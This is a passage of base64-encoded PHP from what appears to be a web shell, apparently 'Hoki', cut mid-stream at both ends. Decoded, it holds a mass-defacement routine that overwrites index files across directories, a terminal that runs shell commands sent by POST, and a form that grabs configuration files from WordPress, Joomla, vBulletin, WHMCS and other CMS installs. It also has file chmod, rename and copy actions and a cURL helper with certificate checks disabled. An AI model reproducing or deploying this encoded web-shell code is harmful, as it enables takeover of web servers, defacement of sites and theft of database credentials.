cj0icmVkIj5EaXJlY3RvcnkgaXMgbm90IFJlYWRhYmxlLi4uPC9mb250PicpO30KfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+TWFzcyBEaXIgaXMgSW52YWxpZCBEaXIuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCB
jb2xvcj0icmVkIj5EaXIgaXMgRW1wdHkuLi48L2ZvbnQ+Jyk7fQp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBIb2tpX1JlYWREaXIoJGRpciwkbWV0aG9kPScnLCRkZWZwYWdlPScnKXsKaWYoIUBpc19yZWFkYWJsZS
gkZGlyKSkgcmV0dXJuIGZhbHNlOwppZiAoQGlzX2RpcigkZGlyKSkgewppZiAoJGRoID0gQG9wZW5kaXIoJGRpcikpIHsKd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgewppZigkZmlsZSA9PSAnLi4nIHx8ICRmaWxlID09ICcuJ
yljb250aW51ZTsKJG5ld2ZpbGU9JGRpci4nLycuJGZpbGU7CmlmKEBpc19yZWFkYWJsZSgkbmV3ZmlsZSkmJkBpc19kaXIoJG5ld2ZpbGUpKUhva2lfUmVhZERpcigkbmV3ZmlsZSwkbWV0aG9kLCRkZWZwYWdlKTsKaWYoQGlzX2ZpbGUoJG5ld2Zp
bGUpKXsKaWYoIUBpc19yZWFkYWJsZSgkbmV3ZmlsZSkpY29udGludWU7Ckhva2lfUmV3cml0ZXIoJG5ld2ZpbGUsJGZpbGUsJGRlZnBhZ2UsJG1ldGhvZCk7Cn0KfQpjbG9zZWRpcigkZGgpOwp9Cn0KfQpmdW5jdGlvbiBIb2tpX1Jld3JpdGVyKCR
kaXIsJGZpbGUsJGRlZnBhZ2UsJG09J2luZGV4Jyl7CmlmKCFAaXNfd3JpdGFibGUoJGRpcikpIHJldHVybiBmYWxzZTsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwokZGVmcGFnZT1AZmlsZV9nZXRfY29udGVudHMoJGRlZn
BhZ2UpOwppZigkbSA9PSAnaW5kZXgnKXsKJGluZGV4cyA9IGFycmF5KCdpbmRleC5waHAnLCdpbmRleC5odG0nLCdpbmRleC5odG1sJywnZGVmYXVsdC5hc3AnLCdkZWZhdWx0LmFzcHgnLCdpbmRleC5hc3AnLCdpbmRleC5hc3B4JywnaW5kZXgua
nMnKTsKaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkZmlsZSksJGluZGV4cykpewpAZmlsZV9wdXRfY29udGVudHMoJGRpciwkZGVmcGFnZSk7CmVjaG8gQGlzX2ZpbGUoJGRpcik/JGRpci4iPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwv
Yj48L2ZvbnQ+PGJyPiIgOiAnJzsKfQp9ZWxzZWlmKCRtPT0nYWxsJyl7CkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsKZWNobyBAaXNfZmlsZSgkZGlyKT8kZGlyLiIgIDxiPjxmb250IGNvbG9yPSdyZWQnPkRlRmFjZWQuLi48L2I
+PC9mb250Pjxicj4iIDogJyc7Cn0KfQpmdW5jdGlvbiBob2tpR2V0RGlzRnVuYygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRkaXNmdW4gPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJHMgPSBleH
Bsb2RlKCcsJywkZGlzZnVuKTsKJGYgPSBhcnJheV91bmlxdWUoJHMpOwplY2hvICc8Y2VudGVyPjxicj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+RGlzYWJsZSBGdW5jdGlvbnM8L2ZvbnQ+PC9iPjxwcmU+PHRhYmxlIGJvcmRlcj0iMSI+PHRyP
jx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47Y29sb3I6IHdoaXRlO3dpZHRoOjUlIj4jPC90ZD48dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGdyZWVuO2NvbG9yOiB3aGl0
ZTsiPkZ1bmMgTmFtZTwvdGQ+PC90cj4nOwokaT0xOwpmb3JlYWNoKCRmIGFzICRzKXsKJHM9dHJpbSgkcyk7CmlmKGZ1bmN0aW9uX2V4aXN0cygkcyl8fCFpc19jYWxsYWJsZSgkcykpY29udGludWU7CmVjaG8gJzx0cj48dGQgYWxpZ249ImNlbnR
lciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+Jy4kaS4nPC90ZD4nOwplY2hvICc8dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyI+PGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZT
siIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24uJy5zdHJfcmVwbGFjZSgnXycsJy0nLCRzKS4nLnBocCI+PHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj48Yj4nLiRzLic8L2I+PC9zc
GFuPjwvYT48L3RkPic7CiRpKys7Cn0KZWNobyAnPC90YWJsZT48L2NlbnRlcj4nOwplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gSG9raV9DcmVhdGVfQV9UYWcoJGFjdGlvbiwkdmFscyl7CiRudWxscyA9IGFycmF5KCk7
CmZvcmVhY2goJHZhbHMgYXMgJGtleSA9PiAkdmFsKXsKZWNobyAnPGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJycuJGFjdGlvbi4nXCcsJzsKZm9yKCRpPTE7JGk8PSR2YWxbMV0tMTskaSsrKSRudWxsc1tdID0gJ251bGw
nOwokZiA9IGltcGxvZGUoJywnLCRudWxscyk7CmVjaG8gJGYuJyxcJycuJHZhbFswXS4nXCcpO3JldHVybiBmYWxzZTsiPnwgJy4ka2V5LicgfCA8L2E+JzsKdW5zZXQoJG51bGxzKTsKfQp9CmZ1bmN0aW9uIEhva2lfU2VhcmNoZXIoJGRpciwgJG
V4dCwgJG1ldGhvZCkgewppZihAaXNfcmVhZGFibGUoJGRpcikpewppZigkbWV0aG9kID09ICdhbGwnKSRleHQgPSAnKic7CmlmKCRtZXRob2QgPT0gJ2RpcnMnKSRleHQgPSAnKic7CiRnbG9iRmlsZXMgPSBAZ2xvYigiJGRpci8qLiRleHQiKTsKJ
Gdsb2JEaXJzICA9IEBnbG9iKCIkZGlyLyoiLCBHTE9CX09OTFlESVIpOwokYmxhY2tsaXN0ID0gYXJyYXkoKTsKZm9yZWFjaCAoJGdsb2JEaXJzIGFzICRkaXIpIHsKaWYoIUBpc19yZWFkYWJsZSgkZGlyKXx8QGlzX2xpbmsoJGRpcikpIGNvbnRp
bnVlOwpASG9raV9TZWFyY2hlcigkZGlyLCAkZXh0LCAkbWV0aG9kKTsKfQpzd2l0Y2goJG1ldGhvZCl7CmNhc2UgImZpbGVzIjoKZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7CmlmKEBpc193cml0YWJsZSgkZmlsZSkpewplY2hvICIkZml
sZTxicj4iOwp9Cn0KYnJlYWs7CmNhc2UgImRpcnMiOgpmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsKaWYoQGlzX3dyaXRhYmxlKGRpcm5hbWUoJGZpbGUpKSAmJiAhaW5fYXJyYXkoZGlybmFtZSgkZmlsZSksICRibGFja2xpc3QpKXsKZW
NobyBkaXJuYW1lKCRmaWxlKS4nPGJyPic7CiRibGFja2xpc3RbXSA9IGRpcm5hbWUoJGZpbGUpOwp9Cn0KYnJlYWs7CmNhc2UgImFsbCI6CmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewplY2hvICRmaWxlLic8YnI+JzsKfQpicmVhazsKf
Qp1bnNldCgkYmxhY2tsaXN0KTsKfQp9CmZ1bmN0aW9uIEhva2lpRnJhbWVDcmVhdG9yKCRmLCR3aWR0aD0nMTAwJScsJGhlaWdodD0nNjAwcHgnKXsKcmV0dXJuKCc8aWZyYW1lIHNyYz0iJy5fX0hPS0lfREFUQV9GT0xERVJfXy4iLyIuJGYuJyIg
d2lkdGg9IicuJHdpZHRoLiciIGhlaWdodD0iJy4kaGVpZ2h0LiciIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT4nKTsKfQpjbGFzcyBIb2tpQ1VSTCB7CnB1YmxpYyAkaGVhZGVyczsKcHVibGljICR1c2VyX2FnZW50OwpwdWJsaWMgJGNvbXByZXN
zaW9uOwpwdWJsaWMgJGNvb2tpZV9maWxlOwpwdWJsaWMgJHByb3h5OwpwdWJsaWMgJHBhdGg7CnB1YmxpYyAkc3NsID0gdHJ1ZTsKcHVibGljICRjdXJsX3N0YXR1cyA9IHRydWU7CmZ1bmN0aW9uIF9fY29uc3RydWN0KCRjb29raWVzPWZhbHNlLC
Rjb21wcmVzc2lvbj0nZ3ppcCcsJHByb3h5PScnKXsKaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JGN1cmxfc3RhdHVzID0gZmFsc2U7cmV0dXJuIGZhbHNlO30KJHRoaXMtPmhlYWRlcnNbXSA9ICdBY2NlcHQ6IGltYWdlL2dpZiwgaW1hZ
2UveC1iaXRtYXAsIGltYWdlL2pwZWcsIGltYWdlL3BqcGVnJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBLZWVwLUFsaXZlJzsKJHRoaXMtPmhlYWRlcnNbXSA9ICdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0t
dXJsZW5jb2RlZDtjaGFyc2V0PVVURi04JzsKJHRoaXMtPnVzZXJfYWdlbnQgPSAnTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTRfNikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21
lLzgzLjAuNDEwMy42MSBTYWZhcmkvNTM3LjM2KSc7CiR0aGlzLT5wYXRoID0gSE9LSV9URU1QRElSLicvSG9raV9jb29raWVzLnR4dCc7CiR0aGlzLT5jb21wcmVzc2lvbj0kY29tcHJlc3Npb247CiR0aGlzLT5wcm94eT0kcHJveHk7CiR0aGlzLT
5jb29raWVzPSRjb29raWVzOwppZigkdGhpcy0+Y29va2llcykkdGhpcy0+Y29va2llKCR0aGlzLT5wYXRoKTsKfQpmdW5jdGlvbiBjb29raWUoJGNvb2tpZV9maWxlKSB7CmlmIChfaG9raV9maWxlX2V4aXN0cygkY29va2llX2ZpbGUsZmFsc2UpK
SB7CiR0aGlzLT5jb29raWVfZmlsZT0kY29va2llX2ZpbGU7Cn1lbHNlewpAZm9wZW4oJGNvb2tpZV9maWxlLCd3Jykgb3IgZGllKCR0aGlzLT5lcnJvcignVGhlIGNvb2tpZSBmaWxlIGNvdWxkIG5vdCBiZSBvcGVuZWQuJykpOwokdGhpcy0+Y29v
a2llX2ZpbGU9JGNvb2tpZV9maWxlOwpAZmNsb3NlKCR0aGlzLT5jb29raWVfZmlsZSk7Cn0KfQpmdW5jdGlvbiBTZW5kKCR1cmwsJG1ldGhvZD0iZ2V0IiwkZGF0YT0iIil7CmlmKCEkdGhpcy0+Y3VybF9zdGF0dXMpe3JldHVybiBmYWxzZTt9CiR
wcm9jZXNzID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCAkdGhpcy0+aGVhZGVycyk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KC
Rwcm9jZXNzLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoaXMtPnVzZXJfYWdlbnQpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0VOQ09ESU5HICwgJ
HRoaXMtPmNvbXByZXNzaW9uKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfVElNRU9VVCwgMzApOwppZigkdGhpcy0+c3NsKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgLGZhbHNlKTsKY3VybF9z
ZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsZmFsc2UpOwp9CmlmKCR0aGlzLT5jb29raWVzKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfQ09PS0lFRklMRSwgJHRoaXMtPnBhdGgpOwpjdXJsX3NldG9wdCgkcHJ
vY2VzcywgQ1VSTE9QVF9DT09LSUVKQVIsICR0aGlzLT5wYXRoKTsKfQppZigkdGhpcy0+cHJveHkpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QUk9YWSwgJHRoaXMtPnByb3h5KTsKfQppZigkbWV0aG9kPT0ncG9zdCcpewpjdXJsX3
NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgnQ29udGVud
C1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKSk7Cn0KJHJldHVybiA9IEBjdXJsX2V4ZWMoJHByb2Nlc3MpOwpjdXJsX2Nsb3NlKCRwcm9jZXNzKTsKcmV0dXJuICRyZXR1cm47Cn0KZnVuY3Rpb24gZXJyb3IoJGVycm9y
KSB7CmVjaG8gIjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOiAzcHggc29saWQgI0ZGRUVGRjsgcGFkZGluZzogM3B4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZEREZGO2ZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBmb250LXNpemU
6IDEwcHgnPjxiPmNVUkwgRXJyb3I8L2I+PGJyPiRlcnJvcjwvZGl2PjwvY2VudGVyPiI7CmRpZTsKfQp9CmZ1bmN0aW9uIGdldENvbmZpZ0h0bWwoJGNtcyl7CiRjb250ZW50ID0gJyc7CiRjbXNfYXJyYXkgPSBhcnJheSgid3AiID0+ICJXb3JkUH
Jlc3MiLCAidmIiID0+ICJ2QnVsbGV0aW4iLCAid2htY3MiID0+ICJXaG1jcyIsICJqb29tbGEiID0+ICJKb29tbGEiLCAicGhwbnVrZSIgPT4gIlBIUE51a2UiLCJwaHBiYiI9PiJQSFBCQiIsIm15YmIiPT4iTXlCQiIsImRydXBhbCI9PiJEcnVwY
WwiLCJzbWYiPT4iU01GIik7CiRjb250ZW50IC49ICI8Zm9ybSBjbGFzcz0nZ2V0Y29uZmlnJyBvblN1Ym1pdD0nZyhcIkdldENvbmZpZ1wiLG51bGwsdGhpcy5jbXMudmFsdWUsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZ2V0QXR0cmlidXRlKFwiYmFz
ZV9pZFwiKSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+Q21zOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjbXMnc3R5bGU9J3dpZHRoOjEwMHB4Oyc+IjsKZm9yZWFjaCgkY21zX2FycmF5IGFzICRrZXkgPT4gJHZhbCl7CiRjb25
0ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOwp9CiRjb250ZW50IC49ICI8L3NlbGVjdD4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+UGF0aC
hpbnN0YWxsZWQgY21zL0NvbmZpZyk6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGF0aCcgdmFsdWU9JyIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLycgc2l6ZT0nMzAnIC8+IDxidXR0b24gY2xhc3M9J2J1dHRvbic+R2V0Q
29uZmlnPC9idXR0b24+IjsKJGNvbnRlbnQgLj0gIjwvZm9ybT4iOwpyZXR1cm4gJGNvbnRlbnQ7Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2pzb25fZW5jb2RlJykpewogICAgZnVuY3Rpb24ganNvbl9lbmNvZGUoJGE9ZmFsc2UpewogICAgICAg
IGlmIChpc19udWxsKCRhKSkgcmV0dXJuICdudWxsJzsKICAgICAgICBpZiAoJGEgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsKICAgICAgICBpZiAoJGEgPT09IHRydWUpIHJldHVybiAndHJ1ZSc7CiAgICAgICAgaWYgKGlzX3NjYWxhcigkYSk
pCiAgICAgICAgewogICAgICAgICAgICBpZiAoaXNfZmxvYXQoJGEpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXR2YWwoc3RyX3JlcGxhY2UoIiwiLCAiLiIsIHN0cnZhbCgkYSkpKTsKICAgICAgICAgICAgfQoKIC
AgICAgICAgICAgaWYgKGlzX3N0cmluZygkYSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN0YXRpYyAkanNvblJlcGxhY2VzID0gYXJyYXkoYXJyYXkoIlxcIiwgIi8iLCAiXG4iLCAiXHQiLCAiXHIiLCAiXGIiLCAiXGYiLCAnIicpL
CBhcnJheSgnXFxcXCcsICdcXC8nLCAnXFxuJywgJ1xcdCcsICdcXHInLCAnXFxiJywgJ1xcZicsICdcIicpKTsKICAgICAgICAgICAgICAgIHJldHVybiAnIicgLiBzdHJfcmVwbGFjZSgkanNvblJlcGxhY2VzWzBdLCAkanNvblJlcGxhY2VzWzFd
LCAkYSkgLiAnIic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgfQogICAgICAgICRpc0xpc3QgPSB0cnVlOwogICAgICAgIGZvciAoJGkgPSAwLCByZXNldCgkYSk7ICRpIDwgY29
1bnQoJGEpOyAkaSsrLCBuZXh0KCRhKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChrZXkoJGEpICE9PSAkaSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGlzTGlzdCA9IGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgIC
AgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAgICAgaWYgKCRpc0xpc3QpCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJHYpOwogI
CAgICAgICAgICByZXR1cm4gJ1snIC4gam9pbignLCcsICRyZXN1bHQpIC4gJ10nOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNv
ZGUoJGspLic6Jy5qc29uX2VuY29kZSgkdik7CiAgICAgICAgICAgIHJldHVybiAneycgLiBqb2luKCcsJywgJHJlc3VsdCkgLiAnfSc7CiAgICAgICAgfQogICAgfQp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9kZWNvZGUnKSApewpmdW5
jdGlvbiBqc29uX2RlY29kZSgkanNvbiwgJGFycmF5PXRydWUpewogICAgJGNvbW1lbnQgPSBmYWxzZTsKICAgICRvdXQgPSAnJHg9JzsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRqc29uKTsgJGkrKykKICAgIHsKICAgICAgICBpZiAoISRjb2
1tZW50KQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCRqc29uWyRpXSA9PSAneycgfHwgJGpzb25bJGldID09ICdbJyl7JG91dCAuPSAnIGFycmF5KCc7fQogICAgICAgICAgICBlbHNlIGlmICgkanNvblskaV0gPT0gJ30nIHx8ICRqc29uWyRpX
SA9PSAnXScpeyRvdXQgLj0gJyknO30KICAgICAgICAgICAgZWxzZSBpZiAoJGpzb25bJGldID09ICc6Jyl7JG91dCAuPSAnPT4nO30KICAgICAgICAgICAgZWxzZSB7JG91dCAuPSAkanNvblskaV07fQogICAgICAgIH0KICAgICAgICBlbHNlICRv
dXQgLj0gJGpzb25bJGldOwogICAgICAgIGlmICgkanNvblskaV0gPT0gJyInKSAgICAkY29tbWVudCA9ICEkY29tbWVudDsKICAgIH0KICAgIGV2YWwoJG91dCAuICc7Jyk7CiAgICByZXR1cm4gJHg7Cn0KfQpmdW5jdGlvbiBob2tpdGVybWluYWx
FeGVjKCl7CgkkcHdkID0gInB3ZCI7Cgkkc2VwZXJhdG9yID0gIjsiOwoJaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcpewoJCSRwd2QgPSAiY2QiOwoJCSRzZXBlcmF0b3IgPSAiJiI7Cgl9CglpZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZS
JdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInIi4kc2VwZXJhdG9yO30KCSRjdXJyZW50X3BhdGggPSAnJzsKCWlmKHByZWdfbWF0Y2goIi9jZFsgXXswLH0oLiopWyBdezAsfSIuJ
HNlcGVyYXRvci4ifGNkWyBdezAsfSguKilbIF17MCx9L2kiLCAkX1BPU1RbJ2hva2kxJ10sICRtYXRjaCkpewoJCWlmKGVtcHR5KCRtYXRjaFsxXSkpewoJCQkkbWF0Y2hbMV0gPSAkbWF0Y2hbMl07CgkJfQoJCSRjdXJyZW50X3BhdGggPSBob2tp
RXgoImNkICIuYWRkc2xhc2hlcygkbWF0Y2hbMV0pLiRzZXBlcmF0b3IuJHB3ZCk7CgkJJGN1cnJlbnRfcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN1cnJlbnRfcGF0aCk7Cgl9Cgkkb3V0ID0gaG9raUV4KCRjbWQuJF9QT1NUWydob2t
pMSddLCB0cnVlKTsKCSRvdXQgPSBodG1sc3BlY2lhbGNoYXJzKCRvdXQpOwoJZWNobyBqc29uX2VuY29kZShhcnJheSgib3V0cHV0IiA9PiBjb252ZXJ0QmFzaCgkb3V0KSwgInBhdGgiID0+ICRjdXJyZW50X3BhdGgpKTsKfQpmdW5jdGlvbiBjb2
52ZXJ0QmFzaCgkY29kZSkgewogICAgJGRpY3Rpb25hcnkgPSBhcnJheSgKICAgICAgICAnWzAxOzMwbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+JywKICAgICAgICAnWzAxOzMxbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiP
icsCiAgICAgICAgJ1swMTszMm0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6Z3JlZW4iPicsCiAgICAgICAgJ1swMTszM20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6eWVsbG93Ij4nLAogICAgICAgICdbMDE7MzRtJyA9PiAnPHNwYW4gc3R5bGU9
ImNvbG9yOmJsdWUiPicsCiAgICAgICAgJ1swMTszNW0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6cHVycGxlIj4nLAogICAgICAgICdbMDE7MzZtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmN5YW4iPicsCiAgICAgICAgJ1swMTszN20nID0+ICc
8c3BhbiBzdHlsZT0iY29sb3I6d2hpdGUiPicsCiAgICAgICAgJ1swbScgICA9PiAnPC9zcGFuPicKICAgICk7CiAgICAkaHRtbFN0cmluZyA9IHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJGRpY3Rpb25hcnkpLCAkZGljdGlvbmFyeSwgJGNvZGUpOw
ogICAgcmV0dXJuICRodG1sU3RyaW5nOwp9CmZ1bmN0aW9uIGhva2lkb0FjdGlvbnMoKXsKCSRjaGRpcl9mYWxzID0gZmFsc2U7CglpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkJJGNoZGlyX2ZhbHMgPSB0cnVlOwoJCSRob2tpX2NhbnJ1bmNtZ
CA9IF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7Cgl9CglpZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pKSRfUE9TVFsnaG9raTEnXSA9IHJhd3VybGRlY29kZSgkX1BPU1RbJ2hva2kxJ10pOwoJaWYoaXNzZXQoJF9QT1NUWydob2tpMidd
KSkkX1BPU1RbJ2hva2kyJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydob2tpMiddKTsKCSRhY3Rpb24gPSAkX1BPU1RbImhva2kzIl07CglpZigkYWN0aW9uID09ICJwZXJtaXNzaW9uIil7CgkJJHBlcm1zID0gMDsKCQkkcGVybSA9ICRfUE9TVFs
iaG9raTIiXTsKCQlmb3IoJGk9c3RybGVuKCRwZXJtKS0xOyRpPj0wOy0tJGkpewoJCQkkcGVybXMgKz0gKGludCkkcGVybVskaV0qcG93KDgsIChzdHJsZW4oJHBlcm0pLSRpLTEpKTsKCQl9CgkJaWYoQGNobW9kKCRfUE9TVFsnaG9raTEnXSwgJH
Blcm1zKSl7CgkJCWVjaG8oImRvbmUiKTsKCQl9ZWxzZXsKCQkJZWNobygibm8iKTsKCQl9CgkJcmV0dXJuOwoJfQoJaWYoJGFjdGlvbiA9PSAicmVuYW1lIiB8fCAkYWN0aW9uID09ICJtb3ZlIil7CgkJJGhva2kxX2RlY29kZWQgPSAkX1BPU1RbJ
2hva2kxJ107CgkJaWYoJGNoZGlyX2ZhbHMpewoJCQkkX1BPU1RbJ2hva2kxJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJob2tpMSJdOwoJCX0KCQkkX1BPU1RbJ2hva2kxJ10gPSB0cmltKCRfUE9TVFsnaG9raTEnXSk7CgkJJGhva2kxX2Vz
Y2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKTsKCQlpZigkX1BPU1RbImhva2kzIl0gPT0gInJlbmFtZSIpewoJCQkkX1BPU1RbJ2hva2kyJ10gPSBiYXNlbmFtZSgkX1BPU1RbJ2hva2kyJ10pOwoJCX0KCQlpZighZW1wdHkoJF9QT1N
UWydob2tpMiddKSl7CgkJCSRjbWRfcmVuYW1lID0gZmFsc2U7CgkJCWlmKCRjaGRpcl9mYWxzJiYkaG9raV9jYW5ydW5jbWQpewoJCQkJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7CgkJCQkJJGNtZF9yZW5hbWUgPSB0cn
VlOwoJCQkJCSRob2tpMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRob2tpMV9kZWNvZGVkKTsKCQkJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10pLiInO212ICciLiRob2tpMV9lc2NhcGUuIicgJyIuYWRkc2xhc2hlcygkX1BPU
1RbJ2hva2kyJ10pLiInIik7CgkJCQl9CgkJCX0KCQkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsnaG9raTInXSkpewoJCQkJaWYoQHJlbmFtZSgkX1BPU1RbJ2hva2kxJ10sICRfUE9TVFsnaG9raTInXSl8fCRjbWRfcmVuYW1lKXsKCQkJCQllY2hv
ICJkb25lIjsKCQkJCX1lbHNlewoJCQkJCWVjaG8gIm5vIjsKCQkJCX0KCQkJfWVsc2V7CgkJCQllY2hvICJubyI7CgkJCX0KCQl9Cgl9ZWxzZWlmKCRhY3Rpb24gPT0gImNvcHkiKXsKCQlpZihpc19kaXIoJF9QT1NUWyJob2tpMSJdKSl7CgkJCSR
kaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRfUE9TVFsiaG9raTEiXSk7CgkJCSRkaXIgPSBleHBsb2RlKCcvJywgJGRpcik7CgkJCWlmKGVtcHR5KCRkaXJbY291bnQoJGRpcikgLSAxXSkpewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaX
IpIC0gMl07CgkJCX1lbHNlewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMV07CgkJCX0KCQl9ZWxzZXsKCQkJJG5hbWUgPSBiYXNlbmFtZSgkX1BPU1RbImhva2kxIl0pOwoJCX0KCQkkZGlyID0gZGlybmFtZSgkX1BPU1RbImhva2kxI
l0pOwoJCWlmKCRkaXIgPT0gIi4iKXsKCQkJJGRpciA9ICRfUE9TVFsiYyJdLiIvIjsKCQl9CgkJaWYoaXNfZmlsZSgkX1BPU1RbImhva2kxIl0pKXsKCQkJQGNvcHkoJF9QT1NUWyJob2tpMSJdLCAkX1BPU1RbImhva2kyIl0pOwoJCQllY2hvKCJk
